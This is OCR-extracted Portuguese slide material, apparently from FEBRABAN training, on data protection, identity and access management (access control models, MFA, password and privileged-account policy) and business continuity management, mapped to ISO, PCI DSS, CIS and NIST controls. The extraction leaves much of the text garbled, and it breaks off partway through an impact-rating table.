Segmentacgdo e micossegmentacdo das aplicagdes

Varreduras/scans de vulnerabilidades e corre¢do das vulnerabilidades em tempo hébil

Copias de seguranca (backups), segregacédo de ambientes para copia e restauragédo, bem como imutabilidade
Desenvolvimento seguro de software

» Criptografia em repouso
» Controle de acesso (principalmente com as contas administrativas) a informacdes sensiveis (seguindo principios de privilégio minimo) 146
- MFA

» Senhas fortes e renovacgédo de senhas Fonte: Deloitte Ransomware | Threat Activities, Trends, and Continuing Evolution (2023)
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Para apoiar no entendimento e implementacdo de toda a metodologia apresentada neste material, a seguir sdo apresentados as normas e
frameworks de referéncia no tema:

Frameworks Padrao Utilizados

INTERNATIONAL ISO/IEC
STANDARD 27002

<C/l; St Tecurity: © ais controls

Controles CIS

SS Versao8

. D

J COMPLIANT O
/F\\ \

NIST

National Institute of
Standards and Technology

7 \

U

Conformidade: Requisitos de conformidade mais exigentes, permitindo estimar o nivel de conformidade com ABNT NBR ISO, PCI-DSS, NIST, CIS Controls,
entre outros
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Agora gue aprendemos sobre as atividades relacionadas ao Protecdo de Dados, relembre os principais termos e conceitos apresentados neste
material:

0 Gestéo de Acesso : Gerenciamento de credenciais de identidade, ciclo de vida, controle de quem poder ter acesso aos dados

Gestdo de dados: Todo o processo: desde a captacdo e a manipulacdo até o armazenamento de informacoes.

Mascaramento de dados: Usado para limitar a exposicdo de dados sensiveis, incluindo PlI, e para cumprir as normas legais, estatutarias, regulamentares
e requisitos contratuais.

Prevencao de vazamento de dados: Estratégia para detectar e evitar a exfiltracdo ou a destruicdo de dados.

Backup e Restauracao: Praticas para fazer a copia periddica dos dados e usar essas copias para recuperar os dados.

Criptografia: Usada para proteger as informacdes, sensiveis ou criticas, quando armazenadas ou transmitidas.

Segmentacao de dados: A segmentacdo separa os controles de seguranca da infraestrutura subjacente e permite as organizacdes a flexibilidade para
estender a protecéo e a visibilidade em qualquer lugar
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Requisitos — Gestao de identidades

Este material foi elaborado de acordo com as diretrizes do PCI DSS e CIS Controls, bem como foi considerado os requisitos de seguranga da informacao relacionados
ao tema de acordo com as normas e frameworks apresentado abaixo:

PCI DSS

=

7.1 Processos e mecanismos para restringir o
acesso aos componentes de sistema e dados do
titular do cartdo por necessidade de negdcios séo
definidos e compreendidos

7.2 O acesso aos componentes de sistema e
dados é definido e atribuido apropriadamente

7.3 O acesso aos componentes de sistema e
dados é gerenciado por meio de um(s) sistema(s)
de controle de acesso

8.1 Processos e mecanismos para idenftificar
usuarios e autenticar o acesso aos componentes
de sistema séo definidos e compreendidos

8.2 A identificacéo do usuério e contas
relacionadas para usuérios e administradores sédo
estritamente gerenciadas ao longo do ciclo de
vida de uma conta

8.3 Uma autenticagao forte para usuarios e
administradores é estabelecida e gerenciada

8.4 A autenticagcao multifator (MFA) é
implementada para proteger o acesso ao CDE

8.5 Os sistemas de autenticacéo multifator (MFA)
sdo configurados para evitar o uso indevido

8.6 O uso de contas de aplicativo e sistema e
fatores de autenticagéo associados é
estritamente gerenciados

CIS Controls

3

5.1 Estabelecer e manter um inventéario de contas
5.2 Usar senhas exclusivas
5.3 Desabilitar contas inativas

5.4 Restringir privilégios de administrador a
contas de Administrador dedicadas

5.5 Estabelecer e manter um inventario de contas
de servico

5.6 Centralizar a gestéo de contas

6.1 Estabelecer um Processo de Concesséo de
Acesso

6.2 Estabelecer um Processo de Revogacédo de
Acesso

6.3 Exigir MFA para aplicagdes expostas
externamente

6.4 Exigir MFA para acessoremoto a rede
6.5 Exigir MFA para acesso administrativo

6.6 Estabelecer e manter um inventario de
sistemas de autenticacdo e autorizacao

6.7 Centralizar o controle de acesso

6.8 Definir e manter o controle de acesso
baseado em funcdes

.

9.1.1 Politica de controle de acesso
9.2.1 Registro e cancelamento de usuario
9.2.2 Provisionamento para acesso de usuario

9.2.3 Gerenciamento de direitos de acesso
privilegiados

9.2.4 Gerenciamento da informacéo de
autenticacdo secreta de usuarios

9.2.5 Andlise critica dos direitos de acesso de
usuario

9.2.6 Retirada ou ajuste de direitos de acesso
9.3.1 Uso da informagéao de autenticagd@o secreta
9.4.1 Restrigdo de acesso a informagéo

9.4.2 Procedimentos seguros de entrada no
sistema (log-on)

9.4.3 Sistema de gerenciamento de senha

9.4.4 Uso de programas utilitarios privile giados

.

ISO 27002 ISO 27701

6.6.2.1 Registro e cancelamento de usuério
6.6.2.2 Provisionamento para acesso de usuario

6.6.2.3 Gerenciamento de direitos de acesso
privilegiado

6.6.2.4 Gerenciamento da informacéo de
autenticagéo secreta de usuarios

6.6.2.5 Andlise critica dos direitos de acesso de
usuario

6.6.2.6 Retirada ou ajuste dos direitos de acesso
6.6.4.1 Restricdo de acesso ainformagéo

6.6.4.2 Procedimentos seguros de entradano
sistema (log-on)

NIST CSF

PR. AA-01: Identidades e credenciais para
usuarios, servicos e hardware autorizados séo
gerenciados pela organizagdo

PR. AA-02: As identidades sé@o provadas e
vinculadas a credenciais com base no contexto
das interagdes

PR. AA-04: As assergdes de identidade s&@o
protegidas, transmitidas e verificadas

PR. AA-05: Permissdes, direitos e autorizagdes
de acesso sdo definidos em uma politica,
gerenciados, aplicados e revisados e incorporam
os principios de privilégio minimo e separagéo de
funcdes



Sumario

/. FEBRABAN ::
BRASILEIRA
DE BANCOS




© 00 N O O b WO DN P

Contexto e introducéo (viséo geral)

Principais termos e definicbes

Ciclo de vida da identidade

Modelos de controle de acesso

Mecanismos de autenticacao
Seguranca em senhas

Seguranca em contas administrativas
Politica de controle de acesso

Frameworks e Normas de Referéncia
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Riscos Cibernéticos

Mitigac&o dos riscos
cibernéticos associados
com vazamento de dados,

ataques internos e software
maliciosos

Complexidade de Tl e
Eficiéncia de Custos

A necessidade de reducéo

nacomplexidade de Tl e

eficiéncia de custos para
manter infraestrutura de
identidades e operacfes

Conformidade
Regulamentar

Presséo continua de
conformidade regulamentar
e necessidade de um
processo eficiente para
governanca de identidades

Experiéncia do Usuério

Qualidade da experiéncia
do usuario é a prioridade
para identidade do
consumidor e aplicativos
moveis

FEBRABAN

Tendéncias da
Tecnologia

Transformacéo digital e a
rapida expansédo de midias
sociais, dispositivos moveis e
tecnologias de nuvem
oferecem novas
oportunidades



Apontamentos de Auditoria

Controle de Acessos

Processos Manuais

Linguagem Técnica

Usuarios Genéricos

FEBRABAN

Aprimorar a precisao e efetividade do compliance utilizando as capacidade de IAG (Inteligéncias
Artificial Geral) como as certificacdes de acesso, segregacdo de funcbes (SoD), relatérios e outros

Implementar uma solugdo de Gestdo de Acesso que forneca autenticacdo centralizada,
autorizacédo e Single Sign-On (SSO)

Padronizar, simplificar e automatizar os processos de gestao do ciclo de vida de usuérios
aumentara a eficiéncia do provisionamento para todas as linhas de negocios

Aumentar a conscientizacdo dos gestores utilizando descricdes amigaveis durante as certificacdes
de acesso

Aintegracédo bidirecional das solugcfes de IAG e PAM facilitara o ownership e responsabilizacéao
sobre usuarios genéricos, por meio de fluxos de aprovacao robustos, provisionamento /
deprovisionamento automatizado, e certificacdes de acesso
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O que é Gestéo de Identidades?

O gerenciamento de identidade e acesso (IAM) é a disciplina
que permite que as pessoas certas acessem os dados e
recursos certos nos momentos certos pelas razées
certas. Principais caracteristicas:

+ Gerenciamento de credenciais de identidade atribuidas a
funcionarios, contratados, fornecedores e clientes;

» Gerenciamento do ciclo de vida de identidades e fun¢des
de acesso;

* Processos, incluindo funcdes e responsabilidades,
estrutura organizacional e procedimentos administrativos;
entre outros.

E o ciclo de vida completo da identidade e do acesso
para qualquer recurso. Ele abrange todos os aspectos do
gerenciamento de identidade e acesso (IAM) desde o
momento em que uma pessoaingressa na empresa, até a
sua saida. Exemplo de ciclo de vida:

Estabelecer uma nova identidade;

Validar e autenticar a identidade;

Registrar a identidade nos servigos;

Gerenciar e atualizar o acesso conforme sua evolucéo;

Remover 0 acesso quando o relacionando se encerra.

FEBRABAN

S&o todos os sistemas tecnoldgicos que compdem a
infraestrutura de uma empresa, tais como:

Aplicacoes;

Bases de Dados;

Sistemas Operacionais;
Servigcos Web;

Equipamentos de Comunicacao;

Fisico (Smartphone, Notebook, Crach4, entre outros).

O que s&o mecanismos de autenticagao?

A autenticacdo é usada para verificar e validar as
identidades antes de fornecer acesso a recursos e
redes digitais, exemplos:

MFA (multifator);
Senha e PIN;

Tokens e Smartcard,;
SSO (Single Sign-On);

Biometria.
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Gestéao de ldentidades Controle de Acessos
Q ﬁlﬁ O .................. \/ .......... _h ...... .................................................
1 0. R B’ D
@ MM/YY —>
z =) N £ +2 ¥ = |
............................................. N,

+ Asidentidades representam humanos, sistemas e, cada * Asidentidades séo registradas nas aplicacoes e
vez mais, dispositivos. servicos.
+ Os provedores de identidades, tais como agéncias * Os usuarios que acessam servicos e dados se

soclais estabelecem as identidades. » O acesso é autorizado com base na necessidade

A confianga ¢ estabelecida por meio da mistura de mltua e na medida em que a relagéo evolui.
credenciais, contexto, histérico e comportamento.

O gue mais eu preciso saber?

. .. . . . Reconciliacdo: E a terminologia do processo para a
Autenticagao: Autenticacdo confirma quem esta acessando e - ~ L
L i administracdo das contas de usudrio e recursos para manter
autorizacédo determina o que este pode fazer.

a integridade dos dados do IAM.

] . ~ , por meio de aplicativos e plataformas, para garantir que o
€ o ponto de entrada para a administracdo automatizada de L o A L.

- . principio de ter o minimo de privilégios necessarios para
usuarios nos recursos de destino.

- 2 . . Certificag&o: E o processo de revisar o acesso do usuario,
@ Provisionamento: E a terminologia do processo em que o IAM @
desenvolver a funcao / posicao seja cumprido.
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salesforce

IJ Office 365

Can
fIGL 4

Controle de acesso aos recursos

Usuario

|Identidade Digital
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A seguir é apresentado as principais diferengas entre os principais modelos de gerenciamento de identidade:

oo
L S99t
r

v

v

v

Disciplina de controle dos negocios que “permite que os individuos
certos acessem 0S recursos certos nos momentos certos e pelos
motivos certos”

Modelo de gestao de regras dos atributos das identidades, incluindo
administracao e gestao de todo o processo de contas, senhas, solicitacoes
de acesso, provisionamento, concessao e revisao de acesso, e gestao de
direitos.

O processo (e modelo) de concessao, monitoracéo e protecéo de
contas, como contas administrativas, contas de aplicacoes, contas de
servicos e demais segredos corporativos.
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Segundo o CIS Controls, é necessario um processo e ferramentas para criar, atribuir, gerenciar e revogar credenciais de acesso e privilégios para contas de
usuéario, administrador e servico para ativos e softwares corporativos.

Principais controles:

Ciclo devidada Seguranga com contas
identidade administrativas

O Identity Lifecycle Uso inapropriado de

Management (ILM) tem Modeétnesagzézst)ontrole Seguranca em senhas adpr:;/:iz?::jo?%e
como objetivo gerenciar Mecanismos de Criar senhas de sistemas pode ser um
toéj g \2 dp;rcg;e;seongsgcllcélo Estruturas ou autenticagao qualidade, que permitam grande fator de
L Lo abordagens utilizadas garantir aspectos de contribuicéo para falhas
digital para individuos ara gerenciar 0 acesso Os acessos a0s protecio da ou violagbes de
afiliadqs a gma g rec?;rsos sistemas ou sistemas e aplicacoes Confidencialidade, sistemas, portanto, é
organizagao. - e devem ser controlados : it - :
informacdes em : Disponibilidade e necessario aplicar
ambientes tecnoldgicos. por um procedimento Integridade das controle e restricdes.
seguro de entrada no informagées.

sistema (log-on).

164
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O gerenciamento do ciclo de vidadaidentidade € a base para a governanca de identidade, e uma governanca eficaz em escala requer a modernizacao da
infraestrutura de gerenciamento do ciclo de vida da identidade para aplicativos. O Identity Lifecycle Management (ILM) tem como objetivo gerenciar todo o processo de
ciclo de vida da identidade digital para individuos afiliados a uma organizacéao.

@ 1. Nova ldentidade 2. Comprovar
Estabelecer uma nova @GR Comprovar que a pessoa
relagdo com uma por tras da identidade é
identidade verdadeira

L @ 3. Verificar
Remover o acesso quando % Autenticar a identidade para
um relacionamento se ‘c"‘c, transacoes futuras
encerra T
v

@ 5. Gerenciar Acesso
Atualizar o acesso conforme

a evolucao da relagcao

Registrar a identidade nos
servicos com base no valor
da relacéo

Abordagem recomendada para gerenciar credenciais de identidade atribuidas a funcionarios e terceiros.

Ferramentas que podem ser utilizadas em gestéo de identidades: Sailpoint, SAP, Salesforce, Oracle, CyberArk, entre outras.
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O gerenciamento do ciclo de vida da identidade € a base para a governanca de identidade, e uma governanca eficaz em escala requer a modernizacao da
infraestrutura de gerenciamento do ciclo de vida da identidade para aplicativos. O Identity Lifecycle Management (ILM) tem como objetivo gerenciar todo o processo de
ciclo de vida da identidade digital para individuos afiliados a uma organizagao.

A gestdo de identidades permite:

O registro e o monitoramento de contas séo componentes criticos das
operagdes de seguranca.

Excluir ou desabilitar quaisquer contas inativas ap6s um
periodo de 45 dias de inatividade, onde for suportado.

Restringir os privilégios de administrador a contas de
administrador dedicadas nos ativos corporativos.

Realizar anélises de contas de servi¢co para validar se todas as
contas ativas estao autorizadas em uma programacao recorrente, no
minimo trimestralmente ou com mais frequéncia.

Centralizar a gestédo de contas por meio de servico de diretorio ou de
identidade.

Ferramentas que podem ser utilizadas em gestéo de identidades: Sailpoint, SAP, Salesforce, Oracle, CyberArk, entre outras.
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Os modelos de controle de acesso sao estruturas ou abordagens utilizadas para gerenciar 0 acesso a recursos, sistemas ou informacoes em ambientes
tecnoldgicos. Esses modelos sé@o projetados para garantir que apenas usuarios autorizados obtenham acesso aos recursos necessarios, de maneira que 0S acessos
estejam em conformidade com as politicas de seguranca da organizacao.

.{*3p°  Controle de acesso baseado em funcdo (RBAC)

i)

O RBAC concede acesso com base nas necessidades do usuario de acordo com sua
posicdo. As funcdes e os privilégios associados sdo definidos e as permissfes sdo

atribuidas para controlar 0 acesso, 0 escopo das operacdes aprovadas e o tempo de
sesséo.

Controle de acesso baseado em atributos (ABAC)

O controle de acesso baseado em atributos € uma solucdo de autorizacdo de usuario
gue avalia os afributos ou caracteristicas dos usudrios, em vez de funcdes, para
determinar privilégios de acesso _com base nas diretivas de seguranca de uma
organizagdo. Com o ABAC, as regras de acesso podem ser hiper granulares.

*eecen,,,

il O controle de acesso discricionario concede ou restringe 0 acesso a um objeto de

acordo com a politica determinada pelo proprietario, grupo ou sujeitos de um objeto. O
DAC oferece aos usuarios controle total sobre seus recursos, tornando-o menos

restritivo do que outras opcdes de controle de acesso.

: —
Modelos de : @ﬁ Controle de acesso discricionario (DAC)
r.J

Controle de Acesso

ceseccee

L | Controle de Acesso Obrigatorio (MAC)
L1

O controle de acesso obrlgatorlo imita o agegsg ags recursos de acordo com a
arios. Os administradores

deflnem crlterlos para MAC A |mp03|<;ao do MAC é tratada pelo sistema operacional ou
por um kernel de seguranga, que 0s usuarios nao podem alterar.

Lista de controle de Acesso (ACL)
Uma Ilsta de controle de acesso é umalab_eLa_que_Llea_as_p_emes_as&qzmdas_a_um

Qada_QbLe_tQ A ACL tambem avalla as at|V|dades e se elas séo permltldas pela rede Os
sistemas de arquivos usam a ACL para filtrar e gerenciar o acesso a arquivos e diretorios
por meio do sistema operacional.
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Segundo a ISO 27002, os acessos aos sistemas e aplicagbes devem ser controlados por um procedimento seguro de entrada no sistema (log-on), por meio de
técnicas de autenticacdo adequadas para validar a identificacdo dos usuarios.

MFA

Método de verificagdo de identidade, que exige
gue os usuérios fornecam pelo menos um fator
de autenticacdo além de uma senha ou pelo
menos dois fatores de autenticacdo em vez de

uma senha.

Senha e PIN

A senhas servem para autenticar um
usuario permitindo direito de acesso ao
ambiente desejado, a senha também
garante autenticidade e nédo repudio da
acao realizada pelo usuério.

VAN

SSO (Single Sign-0On)

Permite que os usuarios facam login uma vez usando
um unico conjunto de credenciais e acessem varias
aplicagdes durante a mesma sesséo.

Biometria

Verificacdo de identidade usando recursos bioldgicos, como por
exemplo, utilizando a digital ou escaneamento de rosto e retina.

Token e Smartcard

Geracao de um namero exclusivo chamado TOTP (PIN
avulso por tempo limitado) a cada 30 segundos. Se os
nameros coincidem, o sistema verifica que o usuario esta com
o dispositivo. O Smartcard € um hardware capaz de gerar e
armazenar as chaves criptograficas, responsaveis por
liberar um acesso.

Federacao

Permite que os usuérios se autentiquem
entre diferentes dominios e / ou empresas
por meio de tokens ou "assercdes"”, sem
precisar expor senhas ou todos os atributos de
identidade.

Permite compartilhar alguns atributos entre
diferentes dominios / empresas.



Seguranca com as Senhas FEBRABAN

E NOSSA RESPONSABILIDADE criar senhas de qualidade, que permitam garantir
aspectos de protecdo da Confidencialidade, Disponibilidade e Integridade das

@ SICICIS

Além disso, € importante seguir as politicas estabelecidas para segurancga das senhas
de acesso ao ambiente interno e de clientes.

As boas praticas de seguranca sugerem gue as senhas sigam 0s seguintes aspectos.

)

Tamanho minimo: utilizar senhas com a quantidade de
caracteres que compdem a senha, com no minimo 12
caracteres.

Duplo Fator de Autenticacao (MFA): utilizar duplo fator de
autenticagdo para logins seguros.

Complexidade: nivel de complexidade de uma senha
utilizando por exemplo, letras maiusculas, letras minusculas,
nameros e caracteres especiais (!,@ ,#,$,%, entre outros).

Armazenamento: nao salvar senhas em arquivos
desprotegidos locais ou na rede.

Tempo de vida e Rotacionamento de Senhas: periodo de
expiragao ou troca das senhas, por exemplo, entre 60 - 90
dias.

Historico: quantidade das ultimas senhas nao permitidas para
reutilizacéo.

® © @



Seguranca em Contas Administrativos FEBRABAN

Contas administrativas ou privilegiadas sdo um alvo especifico porque permitem que atacantes adicionem outras contas ou fagam alteracfes em ativos que
podem torna-los mais vulneraveis a outros ataques. Segundo a ISO 27002, a concessdo e uso de direitos de acesso privilegiado devem ser restritos e controlados.

Os direitos de acesso privilegiados, associados a cada sistema ou processo, por exemplo, sistema operacional,
sistemas de gerenciamento de banco de dados e cada aplicacdo, e de categorias de usuarios para 0s quais estes
necessitam ser concedido, devem ser identificados

Os direitos de acesso privilegiado devem ser concedidos a usuarios conforme a necessidade de uso e com base
em eventos alinhados com a politica de controle de acesso, baseado nos requisitos minimos para sua funcgéo

Acessos

Administrativos

00O
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Segundo a ISO 27002, a politica de controle de acesso deve ser estabelecida, documentada e analisada criticamente, baseada nos requisitos de seguranca da
informacédo e dos negécios. A politica deve incluir as seguintes consideragdes:

Aspectos Gerais

Diretrizes para requisitos de seguranca de
aplicacdes de negdécios individuais;

Diretrizes para gerenciamento de direitos de
acesso em um ambiente distribuido e
conectado a rede que reconhece todos os
tipos de conexdes disponiveis;

Diretrizes para requisitos para autorizacéo
formal de pedidos de acesso;

Diretrizes para requisitos para andlise critica
periédica de direitos de acesso;

Diretrizes para remocao de direitos de
acesso;

Diretrizes para regras para 0 acesso
privilegiado; entre outros.

Identificacdo dos repositérios de identidade;
Definicdo da estrutura de identidade digital;

Identificacdo da origem da informacdo e
fontes autorizadas;

Definir a arquitetura detalhada da solucdo de
gestao de identidades;

As regras para definicho da matriz SoD
(Segregacédo de Funcoes);

Integracdo das fungbes com IDM e
aplicativos;

Tecnologias para gestdo de identidades
comuns e administrativas;

Integracdo com aplicativos externos;

Definir conectores (unidirecional ou
bidirecional) com aplicativos, entre outros.




Consideracoes Finais
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Para apoiar no entendimento e implementacdo de toda a metodologia apresentada neste material, a seguir sdo apresentados as normas e

frameworks de referéncia no tema:

Frameworks Padrao Utilizados

NIST

National Institute of
Standards and Technology

INTERNATIONAL 1SO/IEC
STANDARD 27002 //‘
\CIS et Tecurty © ais controls

Controles CIS

» D S S Versao8
N COMPLIANT

o[

Conformidade: Dado o uso extensivo de padrdes amplamente aceitos pela indUstria, a gestdo de identidades e controle de acesso devem ser alinhadas com
alguns dos requisitos de conformidade mais exigentes, permitindo estimar o nivel de conformidade com PCI-DSS, 1SO, Bacen 4.893, NIST, entre outros.
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Agora que aprendemos sobre as atividades relacionadas ao processo de gestao de identidades, relembre os principais termos e conceitos
apresentados neste material:

Ciclo de vida da identidade: base para a governanca de identidade, e uma governanca eficaz em escala requer a modernizagao da infraestrutura de
gerenciamento do ciclo de vida da identidade para aplicativos. O Identity Lifecycle Management (ILM) tem como objetivo gerenciar todo o processo de
ciclo de vida da identidade digital para individuos afiliados a uma organizacao.

Modelos de controle de acesso: sdo estruturas ou abordagens utilizadas para gerenciar o acesso a recursos, sistemas ou informacoes em ambientes
tecnoldgicos. Esses modelos sédo projetados para garantir que apenas usuarios autorizados obtenham acesso aos recursos necessarios, de maneira que
0s acessos estejam em conformidade com as politicas de seguranca da organizagéo, exemplos: RBAC, ABAC, DAC, MAC e ACL.

Mecanismo de autenticacdo: mecanismo usado para identificar um usuario por meio da associacdo de uma solicitacdo de entrada a um conjunto de
credenciais de identificacdo Exemplo: MFA, Token, Biometria, entre outros.

Senhas seguras: Criar senhas de qualidade, que permitam garantir aspectos de protecdo da Confidencialidade, Disponibilidade e Integridade das
informacoes.



Modulo: Gestao de
Continuidade dos Negocios
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Requisitos — Gestao de Continuidade dos Negocios =%

Este material foi elaborado de acordo com as diretrizes da 1SO e NIST, bem como foi considerado os requisitos de seguranca da informacéo relacionados ao tema de

acordo com as normas e frameworks apresentado abaixo:

ISO 22301

* 4. Contexto da organizacao » 5.29 Seguranca da informacgao durante

» 5. Lideranca interrupgdes

» 5.30 Preparagdo das TIC para

* 6. Plancjamento continuidade dos negécios

* 7.Apoio

» 8. Operacgéo

* 8.2 Analise de impacto nos negoécios
* 8.2.3 Andlise de riscos

* 8.3 Estratégias e solu¢oes

* 8.4 Planos e procedimentos

» 8.5 Programa de exercicios

» 8. Avaliagdo da documentacao e
capacidade

* 9.2 Auditoria interna
* 9.3 Andlise critica da alta dire¢ao
* 10. Melhoria

ISO 27002

ISO 27701

6.14.1.1 Planejando a continuidade da
seguranca da informagéo

6.14.1.2 Implementando a continuidade da
seguranca da informagéo

6.14.1.3 Verificacao, andlise critica e
avaliagdo da continuidade da seguranca da
informacéo

NIST CSF

9

RC.RP-01: A parte de recuperacao do
plano de resposta a incidentes é executada
uma vez iniciada a partir do processo de
resposta a incidentes

RC.RP-02: As acles de recuperacdo sao
selecionadas, com escopo, priorizadas e
executadas

RC.RP-05: A integridade dos ativos
restaurados é verificada, os sistemas e
servigos sdo restaurados e o status
operacional normal é confirmado

RC.RP-06: O fim da recuperagao de
incidentes é declarado com base em
critérios e a documentacao relacionada a
incidentes é concluida

RC. CO-01: As atividades de recuperagéo
€ 0 progresso na restauracdo das
capacidades operacionais sao
comunicados as partes interessadas
internas e externas designadas
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Incidente e suas conseqguéencias FEBRABAN

Segundo a ISO 22300, disrupcéo € um incidente, antecipado ou imprevisto, que resulta em desvios negativos e ndo planejados na entrega esperada de produtos e
servicos. Veja a seguir alguns exemplos de eventos disruptivos e suas conseqguéncias:

Bioldgico
Incéndio EQ\

S&o repentinos ou graduais e exigem acdes imediatas

~

\/P Crash no
mercado

\ / financeiro Geram danos graves a seguranca dos colaboradores, a reputagcdo da

. > organizagdo e/ou aos seus resultados financeiros, e sdo originados
Inmdentes\ por eventos nédo previstos ou negligenciados
I A& :
Inundacio===2z: A, Terrorismo

Independente do evento causador, podem afetar as operacbes de
instituic6es de grande, médio ou pequeno porte

~

g

Ataque hacker

Consequéncias

& €

Interrupcéo das operacoes Imagem da companhia comprometida Atrasos ou nao entrega dos produtos e servigos aos
por noticias clientes



Exemplos

Greve

Bioldgico

Ciberataque

W UOL Noticias

Greve de 6nibus em SP afeta 1,5 milh&o de pessoas; confira
empresas paradas
675 linhas diurnas, que operam 6.008 énibus na capital paulista, esto paralisadas;

Justica prevé multa caso frota figue abaixo de 80% no...

https://noticias.uol.com.br/ cotidian o/ultimas-noticias/2022/06/ 29/passageiro s-enfrentam-fro ta-reduzida-de-
onibus-em-meio-a-nova-greve.htm

W UOL Noticias

Futuras variantes do coronavirus podem enganar sistema
imunoldgico, alertam USP e Sirio

"Decretar que a pandemia acabou e que o virus foi vencido ndo & verdade”, diz o lider
do grupo de pesquisas em Bioinformatica do Hospital...

https://noticias.uol.com.br/ ultimas-noticias/agencia-estado/2022/04/ 26/pesquisa-da-usp-e-do-sirio-alerta-para-
mais-variantes.htm

@ Olhar Digital

Japao confirma ciberataque que fez parar 14 fabricas da
Toyota no pais

O porta-voz do governo do Japao, Hirokazu Matsuno, confirmou “um ciberataque”
contra a fornecedora de pecas Kojima Industries e declarou que a...

https://ohardigital.com.br/2022/03/01/seguranca/japao-co nfirma-ciberataque-que-fez-parar-14-fabricas-da-
toyota-no-pais/

@ voL
Apos invasdo, Renner diz que dados estdo preservados; site

segue fora do ar

Apos ter sofrido um ataque cibernético nesta quinta-feira (19), o site e o aplicativo da
varejista Lojas Renner seguiam indisponiveis na...

https://olhardigital.com.br/2022/03/01/seguranca/japao-co nfirma-ciberataque-que-fez-parar-14-fabricas-da-
toyota-no-pais/

N

Crash no mercado
financeiro

Incéndio

Ciberataque

(*, Exame

Com bitcoin em queda, empresas de mineragdo geram
menos receita e veem suas agdes despencarem

A queda nas agdes de mineradoras listadas em bolsa pode estar ligada as suas
receitas. Apenas no més de maio, a receita gerada pela mineragao de...

https://exame.co m/futu re-of-mo ney/ com-bitcoin-em-qued a-emp res as-de-mineracao-geram-men os-receita-e-
veem-suas-acoes-desp encarem/

e Gt
Incéndio atinge industria farmacéutica EMS em Hortolandia;
iméveis no entorno foram evacuados

Um incéndio de grandes proporgées atingiu a industria farmacéutica EMS neste
sabado (20), em Hortolandia (SP). Uma grande coluna de fumaca...

https://g1.globo.com/s p/campinas-regiao /noticia/2018/10/20/incendio-atin ge-indus tria-farmaceutica-ems-em-
hortolandia.ghtm|

[ © Giobo
Guerra da Ucrania: Brasil e outros 41 paises foram alvo de
ciberataques russos, diz Microsoft

... quarta-feira um relatorio que indica que o Brasil e outros 41 paises foram alvos de
ciberataques russos durante o conflito na Ucrania.

https://oglobo.glo bo.com/mun do/noticia/2022/06/guerra-da-ucrania-brasil-e-outros-41-paises-foram-alvo-de-
ciberataques-russo s-diz-microsoft.ghtml
o Valor Econdmico

Mercado Livre sofre ataque de hackers; e-mail e telefone de
300 mil pessoas foram acessados

Depois da Renner e da Americanas, agora o Mercado Livre sofreu um atague de
hackers. A empresa relatou a invasdo a seus sistemas, e o acesso...

https://valor.globo.com/empresas/ noticia/ 2022/03/09/mercad o-livre-sof re-ataq ue-de-hackers-e-mail-e-telefone-
de-300-mil-pess oas-foram-acess ad os.ghtml



Principais causas de disrupcoes

Conforme estudo publicado pelo
Forrester Research, o maior
causador de indisponibilidade e
impacto para as instituicdes esta
relacionado a Desastres
Naturais, seguido de falhas de
TI.

FORRESTER' RESEARCH

What were the causes of the invocations? (Select all that apply.)

MNatural disaster/extreme weather _ FAR AL
T ailure [ <8809

Power outage [ 35.56%

Flood [ 28895

Telecommunication failure -13,39%

Cyber attack/IT security incident [N 15.56%
Utility outage (excluding power) -msma
Fire [ 15.56%

other [ 10.00%

Supply chain disruption [ 7.78%
Environmental accident .Mi“%
Terrorist event .ﬁ.ﬁ?%

Employee health and safety incident .5.5&%

Epidemic/pandemic ls.sa%

Megative publicity coverage/damage l 3.33%
to corparate reputation :

Sabotage 0.00%

Base: 30 BC decision makers and influencers who have had to invoke a BCP in the past five years
Source: Forrester and the Disaster Recovery Journal Business Continuity Preparedness Survey, 2018

141897 Source: Forrester Research, Inc. Unauthorized reproduction, citation, of distribution prohibited.
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Gestao de continuidade x continuidade

FEBRABAN

Continuidade de Negocios

De acordo com a ISO 22300
(Security and resilience -
Business continuity
management systems),

Continuidade de Negdcios € a
"capacidade de uma
organizagcao continuar a entrega
de produtos e servicos em um
nivel aceitdvel com capacidade
predefinida durante uma
disrupcgao”.



A Gestédo de Continuidade de Negocios auxilia a:

Proteger-se

contra disrupcdes

Atender as normas e
melhores praticas no
tema

Cumprir a eventuais
requisitos legais,
regulatorios e
contratuais.

o—

GCN

—eo

e ——

FEBRABAN

Preservar o valor da
marca e a reputacao

Mitigar riscos
financeiros,
operacionais e legais

¢ Aumentar a
disponibilidade
operacional

184
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Desafios enfrentados pelas Organizacoes

Dificuldade para aprovar
investimentos de DR ou GCN por
justificativas ou falta de
informacdo.

Dificuldade ou falta de
prioridade para implementagdo

do programa de continuidade de

negocios.
Prioridades diferenciadas entre _o o

a btica de TI e Negdcios para Priorizacéo do
GCN. tema

Descentralizacéo de estratégias e Planos de contingéncia

acOes para GCN entre TI e Negocio. desconhecidos.

Andlises de impacto de negécio Abordagem R s Alarmes indefinidos ou
realizadas com abordagem integrada procedimentos desconhecidos para

Desafios da

despadronizada ou pardmetros ativar os planos de contingéncia.

para permitir comparag¢do continua. ~
Gestao de
Continuidade de
4 -

Negocios
Planos de contingéncia
desatualizados.

. . Atualizacéo Resposta )

Superior a complexidade necessaria em tempo Diferentes abordagens para
ou falta de informacéo real responder a um incidente de GCN

ou ativar o DRP e/ou Plano de

compartilhada através de
continuidade de negdcios.

documentacdo estatica.

Auséncia de testes regulares de
estratégias e planos de
contingéncia para garantir a
eficacia do Plano.

Auséncia de estrutura que permita
acompanhar e se antecipar a
materializagdo de riscos que
impactem a organizagao.
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Crise
Grandes eventos com alto impacto negativo
Gestéo de Crises

Incidente / Emergéncia
SituacBes especificas
Gestéo de Continuidade de Negécios

Complexidade do evento

Problema
Situacdes do dia a dia
Gestdo de Riscos e Controles Internos

Situacdo normal

Dimenséo do impacto

Por definicao, as crises possuem alta complexidade para solucéo e grande dimensao de impacto. As crises muitas vezes exploram relevantes exposi¢coes das organizacdes, mas

pode comecar com pequenos eventos que combinados dificultam a resposta.
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Dimensoes Muito baixo Baixo Médio Alto Muito alto

O assunto tende a ficar O assunto tende a ficar limitado O assunto tende a repercutir O assunto tende a repercutir O assunto tende a ganhar alta
Imagem e Iimitac!o a poucos segmentos aos publicos de_ interesse do regi_onalmente e, de forma pontual, nacionalr_n ente e, de forma _repercu;séo nacional e
reputacio dos pu pllcos de.mteress'e na meio na comunlda(.je' de nacionalmente. pontual, internacionalmente. internacionalmente.

comunidade de influéncia da influéncia da propria instalacao,

prépria instalacédo podendo repercutir

regionalmente de forma pontual

Nao ha violacdes de questdes As violacdes contratuais estdo Presenca de violagdes de questdes Suspenséo ou interdicéo Suspensao total das atividades por

